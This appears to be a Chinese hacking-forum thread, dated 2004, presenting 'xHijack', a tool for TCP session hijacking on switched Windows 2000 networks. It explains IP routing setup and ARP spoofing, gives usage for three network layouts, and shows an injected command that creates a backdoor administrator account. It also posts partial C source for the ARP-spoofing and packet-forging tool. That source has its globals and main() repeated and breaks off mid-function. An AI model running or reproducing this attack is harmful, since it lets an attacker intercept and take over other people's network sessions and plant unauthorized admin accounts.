QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4319|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
/ a- G* c9 O" R; ~: N4 t; wHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。
% e! T9 N5 r0 G* H第二步是ARP欺骗,具体原理我就不说了。
$ z8 a3 ]! d  ^5 }  P# p第三步就是开始劫持啦。
; A+ z" |( l4 I# {  v, b/ L/ X4 ]; T* [3 Q' I& @. j
我写了个程序xHijack可以实现第二、三步功能,使用如下:
5 `* G. Q8 ~# q$ F. A; r- i- h0 b" P) I+ T( P& f9 l
Usage: xHijack ServerSide ClientSide + A- R9 X+ Z  q# r& r7 @

8 E' g7 T2 k4 t/ s7 v下面根据三种不同的情况分别说明如何输入参数:
; A" \3 w& L+ S2 l1 B' U9 L<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 6 A" ^1 O2 g' u2 V( W% K5 ?
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 ! K( M" S3 t6 `1 L( q, Z4 @- W" J& d
c:\>xHijack 192.168.0.2 192.168.0.3 % _! v& z- [9 H. |- L# c
劫持前数据流程:server <--> client ! q+ k* v' p- z1 a; [5 a0 _; G# [
劫持后数据流程:server <--> hijacker <--> client
3 z  w7 F/ q# L1 o  h6 A4 w# C# J. W1 f" K
<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 % v: q: K4 A, O& d0 P
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
( _4 v0 |+ p% k, _xHijack 202.202.202.2 202.202.202.1 ( {, |( S! F. }+ |! L
劫持前数据流程:server <--> gw <--> routes <--> client ) }- Y8 I* i0 T: T/ o  q4 ~
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client & z( V) s+ X( X) g( I1 D+ J( R) Z

; w; S3 p5 h/ I<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 % N. R! o9 X6 j; p% A  ~# Q& i7 w
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
& l  ~2 e8 d. ^% s8 K6 e& lxHijack 192.168.0.1 192.168.0.2
! X: g* y1 g* ~& g  ~- {% \劫持前数据流程:client <--> gw <--> routes <--> server ' ?9 [, n2 D2 ]- W$ F& e4 @) b9 Q
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
0 r1 P6 Q$ x& P, u. c
. z; i- K! L4 [2 n0 e, m输入两个参数后,会提示你选择网卡,然后会提示 / e2 J: v3 g/ w( w. A* u+ M
l        <-- List all connections
  v4 M% s" |- r) S" _* Nr x       <-- Reset the number x connection 7 O0 P# c9 b- @7 Z9 ]
w x       <-- Watch the number x connection ( l( r" W, w- B' \% e2 A
h x command   <-- Hijack the number x connection to execute command " y. X3 }6 b7 u4 [" h2 z4 {8 N+ n! I
8 r  {6 h* g/ W! P& H& m
list、reset、watch命令我就不解释了。 2 ]. N7 S# l' b; \" V" l% y
假如现在有如下连接 + S6 [0 d# n8 b" b% r7 \
(1) 202.202.202.202:23 <--> 192.168.0.3:2345 * o4 j2 M) w1 S, V, d" O7 o
我们想要劫持这个连接运行我们的命令,输入 3 X: T9 Y8 p9 T/ d9 i
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" . H' f* K6 l7 F6 K
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
6 O0 P% E7 E2 Q0 Y2 Jpnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
( n# R1 ]8 S$ ^+ ]都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
* f; K& Z. V/ n
/ M2 o: ?( t$ W; `# F: d劫持的流程如下: 5 `' @3 a; h: f  W( |
<1>伪装成Server给Client发一个rst包
. l- b$ k1 w& v) e! G<2>伪装成Client给Server发了一个数据包 , N# z* E- \5 ~2 a, b
<3>Server回一个ACK包给client
5 p3 c: d, W: L3 ~5 _<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server 5 @  k, C/ i: q0 |9 x

5 d1 L2 ^& p$ g2 v8 p7 {这样的话,我们只能发一个伪造的包,但我想已经足够了。 * e" s" @3 V) M
想要一直劫持那个连接也可以,如下
" Z$ H) \- k/ k9 ?# w: S; k<1>伪装成Server给Client发一个rst包
0 r- X0 h) \0 L9 f/ `<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA ; @% z/ u) w  j; T  u
<3>伪装成Client给Server发了一个数据包 6 f+ c. V$ r1 V) K  s. S% E1 ^
<4>Server回一个ACK包给client 2 e- J  K2 V" ~+ n' O
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 0 d5 S0 S$ A, W8 ^
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
, ?1 }2 v) E9 O: o$ O- O" }1 A3 f4 J% ?) b  k
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。 # u* u' l6 x% r# _& T

" w! P! s; N/ d, P- q
! @" G" T2 |5 R. d6 l  O刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, 5 m% L  L5 S0 A6 Q( Z1 S. m
还请各位多多指点。 ' D, a8 n* q+ A, u0 d
$ i. F) _( i  D6 y+ |" i% f( W
BTW:我没有空间,编译好的程序没地方放:( 2 w! S% f, M6 N& s
# x4 T% H+ o/ Q) y
" ]* d4 G! A! _' k
* |" n: t, v! J# D- k4 U1 l
参考资料
" \# z' @% m0 u$ ?" u<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375 ; u# t% l9 V  }1 j6 J
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
9 w/ c8 h% ?; |7 c/ m
& f% N9 x  m+ Y) G6 c
& }; _5 _+ W$ m3 _9 B1 l以下是程序代码 3 E5 p" I0 Q0 h2 h$ l0 f
----------------------------------------------------------------------
6 {% f/ e) s5 I, d5 D6 O/*-----------------------------------------------------------------------------
# ]  H0 Q1 p+ g! ~* N+ MFile      : xHijack.c / `. \" _! f9 X- j% z3 u0 j+ @& K* t
Version      : 1.0 ; E/ H. x- h) Q) q3 ]/ c+ d
Create at    : 2002/8/12 / [7 Z2 T" O, z3 S+ \
Last modifed at  : 2002/8/19 7 Y5 C1 w" P: ]  H4 F/ F' e  ]
Author      : eyas # F9 h9 Q: K  A/ p0 s
Email      : ey4s@21cn.com 3 b" L( o2 a$ F9 E: d0 _% }
HomePage    : www.ey4s.org
) I& E% i% b" \' t) w感谢refdom和shotgun发布的源代码,使我获益非浅。 ( M7 J; c8 g0 e; c* X  B5 i
If you modify the code, or add more functions, please email me a copy.
' |( w4 y- V- c: p: \  v1 h% x. \8 t& z1 V& d$ ~* }& w
备注:
# b% K0 F  [, V+ D7 Y) B/ ?9 J& S<>没有考虑IP头、TCP头超过20字节的情况
! v7 Y# s- }5 W. n& I9 ^<>没有考虑数据包分片的情况
: c2 l5 X1 o2 C- {0 E! n<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了 6 J; M8 X& V( U0 O/ Y! l% U9 Q/ Z
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
" o4 Q& ^" y: g题了。
/ l$ X2 l. n. S0 {( ?/ u9 y& H$ G/ G  Q' L9 e! S% q. b
也许下一版本会修正这些问题,也许不会有下一版本了。
$ _7 b4 |! v8 U$ x& c) `8 V# N  M. U4 Z' Q; y
-----------------------------------------------------------------------------*/ 6 a$ N( E3 _# c8 y) N# J' y
#include
5 O: ?" y8 d3 ^9 d$ Q#include 3 G5 y* h* q9 D# h
#include # e$ J2 g9 R/ s$ b, v
#include
% x' m/ ?" c5 D#include 1 j" k$ Z1 n% m! }( Y. m# I1 Q
#include
& s5 {% a7 a$ w# @; K7 {8 I% ?#include : H6 ~9 X2 H& ?

. i$ e& z. w2 I+ {! l# _#pragma comment (lib, "packet") ( n/ ^1 Q; {( a8 F
#pragma comment (lib, "iphlpapi") ' [+ h8 D  b3 r
#pragma comment (lib, "ws2_32")
. `/ P5 F1 q9 q$ p
, S& B* @; G6 T$ f) I6 r#define Max_Num_Adapter 10 0 l9 Q: U& w2 A+ u: y% D
#define Max_Num_IPAddr  5 6 V( z& `9 z% K0 n+ k$ d( _6 S7 C
#define EPT_IP      0x0800      /* type: IP  */
0 @& X( W& E1 F# u/ d#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
: S: k* g$ r. o0 V( r7 y  E#define EPT_ARP      0x0806      /* type: ARP */ , M  q, R, H! h6 X8 n4 J
) E: N2 Y- C$ |
#define  ACTION_NONE    0
2 `! c7 r6 L  l#define  ACTION_WATCH  1 9 r' O+ z% n9 o" B
#define  ACTION_RESET  2   }2 [+ V, O% M# a! O; e
#define ACTION_HIJACK  3 6 A( _1 W- w+ Z' }* x
! J5 m, V7 p$ r" s
/*以1字节对齐*/
2 a+ V, @0 w# _2 Q/ a2 [#pragma pack(1) 6 m- f4 j8 ^% k: }8 D6 z6 b' z
typedef struct _ehhdr 2 Y* U" L8 s/ W- ]8 v4 P
{
# ?' \) q0 [& O  b& v, x1 Z. L" ^- @0 B  unsigned char  DestMAC[6];
0 @+ U3 [# j0 E) O% b, q* L  unsigned char  SourceMAC[6];
. {2 `2 S8 F7 \8 v  unsigned short  EthernetType;
8 e! D3 P3 Q( [& l7 ]$ a- ~- I) D}EHHDR, *PEHHDR; ; g. {% o, G" k$ L" [

9 c% e3 r2 k9 K& ttypedef struct _iphdr        //定义IP首部 # K! l6 x! s& C3 Q
{
( i+ ^0 [) B; M5 c7 f8 A  unsigned char h_verlen;      //4位首部长度,4位IP版本号
* X% n: x6 I  g# |# d7 A  unsigned char tos;        //8位服务类型TOS : }5 S3 A' J+ t) i
  unsigned short total_len;    //16位总长度(字节)
& I- F- P- t0 Q  S# ?# m  unsigned short ident;      //16位标识
% @/ t# ~2 E1 Z* G5 e  unsigned short frag_and_flags;  //3位标志位
7 I; h* W1 i. z/ F1 M5 ^4 m$ H5 U  unsigned char ttl;        //8位生存时间 TTL
9 a5 H) U  J5 |9 b  unsigned char proto;      //8位协议 (TCP, UDP 或其他)   ^- t! a9 k8 I! u1 M
  unsigned short checksum;    //16位IP首部校验和 # a* n1 m0 R( W" }8 @/ W
  unsigned int sourceIP;      //32位源IP地址 0 y1 A6 D' b1 e) O, {( f  e
  unsigned int destIP;      //32位目的IP地址 7 i9 a' o( ~: ^, v4 h/ a/ `
}IPHDR, *PIPHDR; + P# j  H2 [4 {5 n7 ]; l
5 x! n; \/ [, k1 N/ I' _
typedef struct _tcphdr        //定义TCP首部
! T7 [; }% ^( n. n) _{
8 q7 q4 X+ h# m  USHORT th_sport;        //16位源端口 0 Z+ a# _. r# r) ^5 R- p6 G
  USHORT th_dport;        //16位目的端口 % P; g8 F, k% d0 T3 A( k, V% z
  unsigned int th_seq;      //32位序列号
" F/ k& w0 r% i/ J  ], K) Y- J  unsigned int th_ack;      //32位确认号
6 y6 M) n8 z2 T& b8 f- l9 }! l1 I% V  unsigned char th_lenres;    //4位首部长度/6位保留字 / B! O, p5 l6 _2 r* \- H
  unsigned char th_flag;      //6位标志位
, H; e' q$ ^; {: s( d2 b  USHORT th_win;          //16位窗口大小
- V. Z9 q' u4 T0 W- {) ?  USHORT th_sum;          //16位校验和
1 D0 |' T& P8 k6 |4 @( ^  USHORT th_urp;          //16位紧急数据偏移量
6 @% z4 k+ {+ b& p}TCPHDR, *PTCPHDR;
. f  O) C' W, D3 o9 N+ J' ^+ ]/ p& q  E& E6 e4 ~
typedef struct _psdhdr        //定义TCP pseudo header
0 |4 N; _( ^0 `{                 v6 m4 U% S( i& u4 A6 \
  unsigned long saddr;
* A' f! N3 d& @) v1 O$ z0 J# o  unsigned long daddr; : y& {, `' u" G
  char mbz; - J4 c! W8 E; q
  char ptcl;
; V. b- u: q+ `5 \! ~  unsigned short tcpl; 7 w+ T! j( `! V6 u# q. [
}PSDHDR, *PPSDHDR;
7 x' ^. q* l  w
1 Q. m8 D1 p# `typedef struct _arphdr , H% t, p" m5 T  p& G0 _5 r
{
  t" e# O6 l% v& R% |' _  unsigned short  HrdType;//硬件类型
# }& J9 B7 D: ~4 Y  unsigned short  ProType;//协议类型
4 N0 m+ Z" b5 _+ f* j$ M" T  unsigned char  HrdAddrlen;//硬件地址长度
4 R) {+ F$ V  A' [1 {) T, h) u  unsigned char  ProAddrLen;//协议地址长度 . A, d* ?$ g/ H" g* W" D
  unsigned short  op;//operation / k: I) d% ]. a9 z5 F& i% I
  unsigned char  SourceMAC[6];/* sender hardware address */
4 {' a( ^; r4 I% @- M  unsigned long  SourceIP;/* sender protocol address */
* }) h  L5 y+ c5 a- ?: o2 v% b+ ~( m  unsigned char  DestMAC[6];/* target hardware address */ 0 g# f' [3 \0 A
  unsigned long  DestIP;/* target protocol address */
) I5 Y& R, @8 Y6 }}ARPHDR, *PARPHDR; 0 {1 E, C9 C8 c! Q5 y/ j
* W$ z, d( X6 L* Q) T% d
typedef struct _ArpPacket 8 @  w- S" C1 O0 {
{
0 g  [; N" n4 Z  EHHDR  ehhdr; 0 T3 |6 O# O; ?7 n$ K
  ARPHDR  arphdr;
( Y9 K7 _8 ]- K7 B% ~- o, E}ARPPACKET, *PARPPACKET;
5 o4 _5 ~+ ^( c% {0 e1 |8 Z4 F7 W4 T( O& d, G
typedef struct _tcppacket + z/ i* x# ~* o( H. O" Z  R& v
{ 3 |; o# Y: A+ R
  EHHDR  ehhdr;
' A% x+ D. t9 O. {) E  IPHDR  iphdr; & }; d3 G& `1 y
  TCPHDR  tcphdr; % a0 D8 L# o/ W) |' S
}TCPPACKET, *PTCPPACKET;
  b' x- r& l5 _+ w, \4 ]$ `9 v" p
0 |8 j  U0 K$ e2 Ctypedef struct _conninfo
, ^! ^, I7 {; @6 O/ k3 @1 p{
: @$ `8 I0 y, T2 E3 W  DWORD  dwServerIP; # K( n& y5 G& L5 k7 {* A2 ~) |
  USHORT  uServerPort;
' p, W8 ^: X7 K" T1 m  DWORD  dwClientIP;
- s9 d# A% m/ _  c0 C  USHORT  uClientPort; . f: \9 y' M1 S0 }5 i& M6 Z* e- l1 Y- K
  DWORD  ident;//标识   j8 l* p* \5 V* _+ O! N7 X9 P
  BOOL  bActive; # @5 J) [5 z& r& c/ F1 t+ g
  struct  _conninfo  *Next; $ e) I/ y, O7 g8 ?1 t5 u
}CONNINFO, *PCONNINFO; 3 N8 K4 C3 ~. J0 q, y: |
: d8 X  N& W! o1 H2 m+ J9 V' D/ ?
//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, , M& Z3 g7 h' W" j6 `& L
        g_ClientSideIP,
' q1 D# u! n) l6 j        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
6 K5 h0 A! Y: `( ^5 k( {        g_TotalIP = 0;//
4 N/ Q/ v2 F- Q3 e! Dunsigned char  g_szOwnMAC[6];//本机MAC地址
. ~- \8 I! y: m1 u" Cunsigned char  g_szClientSideMAC[6];
: m2 y/ J% _$ C# Kunsigned char  g_szServerSideMAC[6];
* x- j  B" ?4 N) a4 J: T9 j5 Achar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
  ]% m+ K- b( o# BLPADAPTER    g_lpAdapter; # J# M) z+ e5 N7 N7 b! t* n
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
6 i. ?, g: ]0 ~! o  Q. t$ ZHANDLE      g_hThread[4];
; Q- A' P$ h3 C5 W& U8 ochar      g_szCommand[128];//command to execute after hijack
, w: S/ N+ k% }9 }DWORD      g_dwAction;//action type
% s  P: K- _& @9 WDWORD      g_dwCtrlConn;//action 所控制连接的标识
7 m8 I% {" l$ FDWORD      g_ident;//节点标识,递增 ( J2 P# p  d8 M. x
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
5 @' a( [- f7 o# ^3 Y" j8 `        g_pConnHead = NULL,
. e0 i; T, _' ^  z+ F) H        g_pConnLast = NULL;
( g: Y. Z4 z. C2 L, P. ]" Achar      g_szSendPacketBuf[1514]; ! @, m5 W8 S" r2 g# c( r
LPPACKET    g_lpSendPacket;
- o2 {" A/ Y+ ]  A% v, \* @8 M//函数
& w& G: K9 O! Q) m: F$ ~void      usage(void);
$ z# A5 E8 z5 Y! b! Jvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
  l: W6 @! L' E9 j% j3 svoid      ListAllConnection();//列出当前所有的连接 3 J: V) r5 `9 W1 f: G. K
void      ResetActionAllFlag();
3 T% e. H% Y4 e/ xUSHORT      checksum(USHORT *, int);
# D( K2 M& j  qBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 7 V( W4 Z! C2 y7 Q  u' X8 s! G
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
! c2 C( }) I/ P8 [3 _: K5 X, N) F7 SLPADAPTER    InitAdapter();//初始化一些参数和全局变量 # }& w# O' B5 q" x
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
. o* M: C, z+ Z, ?) B, K; P5 Y# t, @BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
- l4 ^) T5 w" r1 eDWORD      GetConnNum(char *, DWORD, DWORD *);
) r  b! b& a9 f8 kDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
/ E3 m9 I2 J7 z  ^0 K5 rDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
- |4 ~6 \7 s7 f+ H6 k6 h3 ODWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
) u& X# w/ U5 k* R# @# M/ a. ^DWORD  WINAPI  InterfaceThread(LPVOID);//
" A. s4 w" o7 o7 T- b# r3 A9 IBOOL  WINAPI  CtrlEvent(DWORD); * V) v4 `: x) k; C* h6 \. ?

) g$ |" j) d5 Q% }. s& O& g: J/ |, O5 E7 S& h$ a  }3 R4 F

# T4 `: C; J4 {, U" h- r: _int main(int argc, char **argv)
8 F. \7 g( z/ e{
: Y$ D# e5 m2 t  n1 g  struct    bpf_stat stat;
# o  q7 y- M$ m) ^) e  int      i;
. I2 x) G8 T+ A4 Y0 i8 q: S9 F: g; w' ^+ t
  usage();
9 g, p6 P: \% \2 p0 e7 i  if (argc != 3) return 0;
4 K8 l6 w( F5 B; B. ?( q" M  //取得参数
) z  E! T3 a$ N% S  V& H6 R' h  g_ServerSideIP = inet_addr(argv[1]); 8 {; r. j% a0 h/ B0 _# I6 b
  g_ClientSideIP = inet_addr(argv[2]); ( `& B, a* M. }- X4 ~
  //初始化adapter & 一些全局变量   [( G* P7 W5 M# X
  g_lpAdapter = InitAdapter(); / q2 B' l9 H4 U
  if(!g_lpAdapter) return 0; ) p6 n  X8 B4 @9 w5 S, `2 Q) `
  //get ServerSide MAC & ClientSide MAC " Q' c* i- C8 A$ K" U
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
9 i! E$ [+ n: n1 A) H/ n- E* x  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
! {7 y$ h. u7 ?* u0 v  //create arp spoof thread     ) A* U; b! i0 C( x
  i = 1;
- Y% L) T4 N# u  i" J  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 3 x1 G" y' X/ Y. v! f3 Q
  Sleep(500);
  [. t; X, X3 o0 Y% ^  i = 2;
+ q& Y8 I% O; \% r# Q8 t  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 5 a$ L) \( w, Z6 ^
  //create analyse packet thread
2 A0 G) }6 W  ]6 A  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
: K& Q8 l  k( {/ [" c$ }" e  //create interface thread
) H6 |* R5 `& V9 q2 t# O  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); 2 _5 d  p! b, |4 c
  //set console ctrl handle ' D+ _- W/ S; A- ]. D0 a8 o4 \
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) 4 s' z2 q9 |" q/ K
  {
) N; ~+ P6 P: s5 O    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());   o. i: x* E, L% @! x
    return 0; 0 q5 e2 r% y! V) B/ z$ {
  } * i) v4 t/ r/ K0 h  U
  //wait for any thread exit
3 |7 u$ [0 ]' E* b' v7 P4 Z% q  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); ! O$ o3 w" e# X  n1 u$ X8 b
  //print the capture statistics
" v* @0 d$ B' l" G, o  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
( V  R$ y, `0 X: b+ Z/ @    printf("Warning: unable to get stats from the kernel!\n"); + J0 _$ u; Q9 s( q
  else
, k1 W' _& i/ |( ?- s, x% Z3 ^- f    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
' r5 {/ c/ S6 D: y  //free resource   
9 d( i& q8 r! S! H) z4 D  PacketFreePacket(g_lpSendPacket); 2 c% _6 N6 m+ |
  PacketCloseAdapter(g_lpAdapter); : e0 K! r# V  n% `- \0 F! c
  return 0;
. Q3 K, f( z% p; R' w0 h} ; G9 @  [* A4 M
- R' g  L9 P# a% m; O) ]  {
// ' }+ i" z2 |8 ^' t  S: i
//功能:重置所有于ACTION有关的标志 7 h; l- R7 B" z3 ?7 ]  y
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
$ |; Q* Y0 h  E) z, b        g_ClientSideIP,
8 l" j9 G# l: ?7 x        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 % o7 E( t5 O' u+ R
        g_TotalIP = 0;// ( r9 q9 L: K. ]; H. l
unsigned char  g_szOwnMAC[6];//本机MAC地址
9 m: i7 M. z8 E/ G* ]unsigned char  g_szClientSideMAC[6];
; P. [: h; i# w- J- U" r$ Y& Dunsigned char  g_szServerSideMAC[6];
! Q' O- d' p* {! ~5 \" ochar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 % l: P% y" }- D$ j+ P% K
LPADAPTER    g_lpAdapter;
& i" A+ _  x" _' U( q//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
6 Z3 g7 G6 h; r' c8 d( RHANDLE      g_hThread[4]; $ P0 ~  l$ [) Y2 I6 r
char      g_szCommand[128];//command to execute after hijack / Z; V0 a, g& n
DWORD      g_dwAction;//action type % `- |6 V9 ?! O5 y- t. U: R2 F
DWORD      g_dwCtrlConn;//action 所控制连接的标识 . q) [: }* S4 I, G# ~
DWORD      g_ident;//节点标识,递增 ; }5 q. b* f! y, _& T2 C
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
1 m7 ~$ R$ W& `0 [7 t5 ~        g_pConnHead = NULL, 4 t, n( s7 E! M6 x
        g_pConnLast = NULL; . w3 R" s( J9 h# P  r8 c# g) z
char      g_szSendPacketBuf[1514]; 3 l2 U: ~  E) f1 w: h- K3 O
LPPACKET    g_lpSendPacket; 2 S+ J& Z, T5 ]- G6 o
//函数
4 K/ B5 I; |0 A1 Evoid      usage(void);
& ]2 }/ u& b% r+ Z1 Bvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); ; R- k; C$ W- H3 n2 S7 E3 [
void      ListAllConnection();//列出当前所有的连接
5 e' Q; x" I6 F8 G( cvoid      ResetActionAllFlag(); ! r  Z- O; z$ E2 ~- A" ?
USHORT      checksum(USHORT *, int); 7 _  q  d3 d$ X" D* |8 w
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
1 F; d- Z# K# t( h$ `8 iBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
/ m' h3 I+ A) RLPADAPTER    InitAdapter();//初始化一些参数和全局变量 . h0 K* C4 Q1 X. l+ @  O
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
* c) |- k/ E% H, \: yBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 $ u3 k# m8 G! V( L2 V
DWORD      GetConnNum(char *, DWORD, DWORD *);
# P  T$ _# f. F# F4 m: j) oDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
! z+ U$ X9 @1 {+ _8 ?DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
7 @/ Q/ F# ?4 F$ m; SDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 5 R7 w3 r. \% C0 t
DWORD  WINAPI  InterfaceThread(LPVOID);// ( k- Z, H9 P( u
BOOL  WINAPI  CtrlEvent(DWORD); + ]  h4 e0 P8 y! i- u

- b- Q1 Q! M: ^5 m- U& T" A
: m& Q' g% H6 X3 r: H
1 ]& Z4 T0 w2 c* S( mint main(int argc, char **argv) ' a$ u9 t; z8 |# Y
{ 8 W- y" T+ O; P7 I4 ]; I) }* ~' O
  struct    bpf_stat stat; 9 E9 h* `3 k1 O) V" u- Q
  int      i; ' {, g4 g2 H$ t* c" l, o! b

0 t2 o% v* r8 {* f1 L4 D0 f  usage();
* v8 d* X! O+ Q( m% o  if (argc != 3) return 0;
  B* K, ^/ f: K  //取得参数 : N2 q% h1 P* Q4 X4 Q' W* N- O( r
  g_ServerSideIP = inet_addr(argv[1]); 1 z1 ?; X+ ?% y
  g_ClientSideIP = inet_addr(argv[2]);
. N9 }" a0 h6 I- l$ a  //初始化adapter & 一些全局变量 ) [* m! a( h9 b4 p: ~0 G
  g_lpAdapter = InitAdapter(); , Z0 O" U2 }! G* K# m5 s
  if(!g_lpAdapter) return 0; 3 c" l) H3 X4 R' B* o
  //get ServerSide MAC & ClientSide MAC + {$ J. h: m" O, }' j/ O
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; & m# ^7 k( p) ]. U3 m, s" o) I
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
, |/ H9 o& G2 \) n  //create arp spoof thread     : Y9 G  P4 B7 O% W) n" a+ W8 U
  i = 1; $ c5 m+ g- O0 a" n2 D8 ^
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
- }# h1 B: t: a; D# S  Sleep(500); ! Q; x' e( Z9 S# z
  i = 2; % J- P$ p7 ~: x- V
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);   U/ E1 j1 a) ]4 I+ L. C
  //create analyse packet thread
/ V5 T5 u# G1 a6 U  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
9 u; K3 U, z" ?1 q5 E1 H  //create interface thread - e# Z/ y, [* D7 I% i& [
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); 7 e: P. h; S3 O/ `. s* k. X. D
  //set console ctrl handle
- \- @' `5 ]0 b* l  c: k  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) * @% k5 n6 u' ~& x( k( S* N+ l) [
  { & F8 Y/ U6 D9 I; u7 Y, ^' R/ Z
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); 2 J; j, ^; n$ _9 [# b3 b! [
    return 0; 1 ~& V8 N. G0 B( R9 ?
  }
0 `4 v" y9 Y$ F. H, [. K  //wait for any thread exit
; b3 i5 [3 l. {& P* ?1 w: s+ H  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
1 s: @5 d0 Z% L* u  //print the capture statistics
' H- C) D  g/ P1 k& B  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) 1 k$ W1 @* g+ w4 y+ Z
    printf("Warning: unable to get stats from the kernel!\n"); : W1 C# w+ n; f. K& S9 j: j1 Y& q7 z
  else
3 r1 ~; O9 W5 B! |9 G" L1 O    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 1 Z- J# x$ b7 `! o! m
  //free resource   
! ~; g- |1 y# F: u+ v3 |% [8 u5 n  PacketFreePacket(g_lpSendPacket); 5 @; }5 f# W( ]+ W+ d% S- v; W1 |! e
  PacketCloseAdapter(g_lpAdapter);
% _* {9 v. v0 t9 q7 K: u' r+ A2 N  return 0; 3 j. V1 J( @( H2 m$ Z3 g
}
: j1 N) L& E, p  n$ s/ P% U" E  u: Z1 T; Y- j6 F# A1 h1 u. C
//
" c/ O7 v: h( H( E//功能:重置所有于ACTION有关的标志 6 _. _! I" C1 u
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag()
' D1 c( S5 {6 k4 a$ o# G7 z0 r{
& ^! N- K* I8 y  g_dwCtrlConn = 0;
/ D  |' W( b  {0 T8 t/ F  g_pCurrCtrlConn = NULL;
